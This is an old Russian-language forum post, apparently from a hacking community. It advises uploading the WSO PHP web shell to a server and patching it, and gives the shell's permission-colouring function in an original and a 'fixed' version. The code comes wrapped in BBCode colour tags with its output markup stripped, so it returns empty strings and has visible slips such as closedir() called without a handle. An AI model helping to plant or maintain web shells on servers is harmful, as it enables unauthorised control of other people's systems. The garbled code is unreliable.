
20.09.2011, 07:35
|
|
Guest
Сообщений: n/a
Провел на форуме: 124363
Репутация:
11
|
|
закачай на серв wso и подкорректируй его
На вин права не правильно отображаються, а именно функция:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]wsoPermsColor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]) { if (!@[/COLOR][COLOR="#0000BB"]is_readable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; elseif (!@[/COLOR][COLOR="#0000BB"]is_writable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; else return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }[/COLOR][/COLOR]
Багфикс при котором работает правильно
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]wsoPermsColor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]) { if([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) { if([/COLOR][COLOR="#0000BB"]$GLOBALS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'os'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'nix'[/COLOR][COLOR="#007700"]){ if([/COLOR][COLOR="#0000BB"]is_writeable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) { return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }elseif([/COLOR][COLOR="#0000BB"]is_readable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])){ return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } else return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } else {[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/.ssps_tmp'[/COLOR][COLOR="#007700"]; if(@[/COLOR][COLOR="#0000BB"]touch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"])){[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]); return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }elseif([/COLOR][COLOR="#0000BB"]opendir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])){[/COLOR][COLOR="#0000BB"]closedir[/COLOR][COLOR="#007700"](); return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } else return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } } else { if([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; elseif([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'r'[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];; } }[/COLOR][/COLOR]
|
|
|
|